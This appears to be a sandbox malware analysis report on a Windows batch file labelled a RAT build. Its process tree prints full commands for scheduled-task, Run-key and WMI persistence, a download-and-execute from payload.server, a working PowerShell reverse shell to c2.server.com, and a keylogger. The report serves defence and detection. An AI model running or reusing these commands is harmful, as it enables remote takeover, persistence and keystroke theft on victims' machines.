5bd7687559521a422b798fbbcb1c479c9dce5761efd4312c7123fceea3fa1aae

Analysis

max time kernel
149s
max time network
116s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:25

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General

Target
rat_build_82916_014252.bat
Size 4KB
Sample260529-2b1bmsa17x
SHA256 5bd7687559521a422b798fbbcb1c479c9dce5761efd4312c7123fceea3fa1aae
MD5 44c13bc5b3da84ffade1cbb7ee0cb7dc
SHA1 91d9fcc88bb375ee37854765857f4ca743a880dd
SHA512 4daca1ccdf7ebcf5e394c7f7ab9ad9654f653650b041cd6661adc650e4290e7454a5216d74e28723dda56f5b1c8bacbce9a8b31c2e90c641f56da31bd3f8b1f1
SSDEEP 96:PI3BWF/2m/GK9V9oU7d7GaCygaqwdWeh/ogPWbLSiFgZk8mvlo1TUf9:PVF/2UVDdWKoLSiFgkHlyG9
TLSH
T129A11B27D76BB120D6B06B19DD323814636CDAFB1355CE8EBF48CDC00A4CA8391586BB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_82916.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe
4996	powershell.exe
3944	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_82916 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_82916.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
784	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3956	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3100	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
468	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
4952	powershell.exe
4952	powershell.exe
3944	powershell.exe
3944	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1252	WMIC.exe
Token: SeSecurityPrivilege	1252	WMIC.exe
Token: SeTakeOwnershipPrivilege	1252	WMIC.exe
Token: SeLoadDriverPrivilege	1252	WMIC.exe
Token: SeSystemProfilePrivilege	1252	WMIC.exe
Token: SeSystemtimePrivilege	1252	WMIC.exe
Token: SeProfSingleProcessPrivilege	1252	WMIC.exe
Token: SeIncBasePriorityPrivilege	1252	WMIC.exe
Token: SeCreatePagefilePrivilege	1252	WMIC.exe
Token: SeBackupPrivilege	1252	WMIC.exe
Token: SeRestorePrivilege	1252	WMIC.exe
Token: SeShutdownPrivilege	1252	WMIC.exe
Token: SeDebugPrivilege	1252	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1252	WMIC.exe
Token: SeRemoteShutdownPrivilege	1252	WMIC.exe
Token: SeUndockPrivilege	1252	WMIC.exe
Token: SeManageVolumePrivilege	1252	WMIC.exe
Token: 33	1252	WMIC.exe
Token: 34	1252	WMIC.exe
Token: 35	1252	WMIC.exe
Token: 36	1252	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1252	WMIC.exe
Token: SeSecurityPrivilege	1252	WMIC.exe
Token: SeTakeOwnershipPrivilege	1252	WMIC.exe
Token: SeLoadDriverPrivilege	1252	WMIC.exe
Token: SeSystemProfilePrivilege	1252	WMIC.exe
Token: SeSystemtimePrivilege	1252	WMIC.exe
Token: SeProfSingleProcessPrivilege	1252	WMIC.exe
Token: SeIncBasePriorityPrivilege	1252	WMIC.exe
Token: SeCreatePagefilePrivilege	1252	WMIC.exe
Token: SeBackupPrivilege	1252	WMIC.exe
Token: SeRestorePrivilege	1252	WMIC.exe
Token: SeShutdownPrivilege	1252	WMIC.exe
Token: SeDebugPrivilege	1252	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1252	WMIC.exe
Token: SeRemoteShutdownPrivilege	1252	WMIC.exe
Token: SeUndockPrivilege	1252	WMIC.exe
Token: SeManageVolumePrivilege	1252	WMIC.exe
Token: 33	1252	WMIC.exe
Token: 34	1252	WMIC.exe
Token: 35	1252	WMIC.exe
Token: 36	1252	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1296	WMIC.exe
Token: SeSecurityPrivilege	1296	WMIC.exe
Token: SeTakeOwnershipPrivilege	1296	WMIC.exe
Token: SeLoadDriverPrivilege	1296	WMIC.exe
Token: SeSystemProfilePrivilege	1296	WMIC.exe
Token: SeSystemtimePrivilege	1296	WMIC.exe
Token: SeProfSingleProcessPrivilege	1296	WMIC.exe
Token: SeIncBasePriorityPrivilege	1296	WMIC.exe
Token: SeCreatePagefilePrivilege	1296	WMIC.exe
Token: SeBackupPrivilege	1296	WMIC.exe
Token: SeRestorePrivilege	1296	WMIC.exe
Token: SeShutdownPrivilege	1296	WMIC.exe
Token: SeDebugPrivilege	1296	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1296	WMIC.exe
Token: SeRemoteShutdownPrivilege	1296	WMIC.exe
Token: SeUndockPrivilege	1296	WMIC.exe
Token: SeManageVolumePrivilege	1296	WMIC.exe
Token: 33	1296	WMIC.exe
Token: 34	1296	WMIC.exe
Token: 35	1296	WMIC.exe
Token: 36	1296	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1296	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 468	4580	cmd.exe	81
PID 4580 wrote to memory of 3100	4580	cmd.exe	82
PID 4580 wrote to memory of 1252	4580	cmd.exe	83
PID 4580 wrote to memory of 1296	4580	cmd.exe	84
PID 4580 wrote to memory of 4332	4580	cmd.exe	85
PID 4580 wrote to memory of 3956	4580	cmd.exe	86
PID 4580 wrote to memory of 784	4580	cmd.exe	90
PID 4580 wrote to memory of 4996	4580	cmd.exe	91
PID 4580 wrote to memory of 4952	4580	cmd.exe	92
PID 4580 wrote to memory of 3944	4580	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_82916_014252.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_82916" /tr "C:\Users\Admin\AppData\Local\Temp\_82916.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:468
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_82916" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_82916.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3100
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_82916", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1252
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_82916", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_82916.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_82916.txt
  2⤵
  PID:4332
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3956
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_82916.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f748ac023709f04e4171350575bebf5a126607eb383355a48f00ad7db3dac2c2
MD5 2774ccd09136281fee8367ee5674bb1c
SHA1 e514b42b20d41f68ae097a4c0a7cc0d870bc3c6f
SHA512 89e1885aca03161d38ea3aba7964a5dc57a56d05fcb6376b06e23707a2d392a6113808161bb16b58130d27f4c52df7d876ebad04e625ea78fb4bb1025ccc03c1
TLSH
T1E1117A33B79CC174C8D9117A108DAD01B1B5C3DB449EDE8B7A84C508E57F98ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_yly3p41c.0pd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yly3p41c.0pd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4996-3-0x0000024D21570000-0x0000024D21592000-memory.dmp

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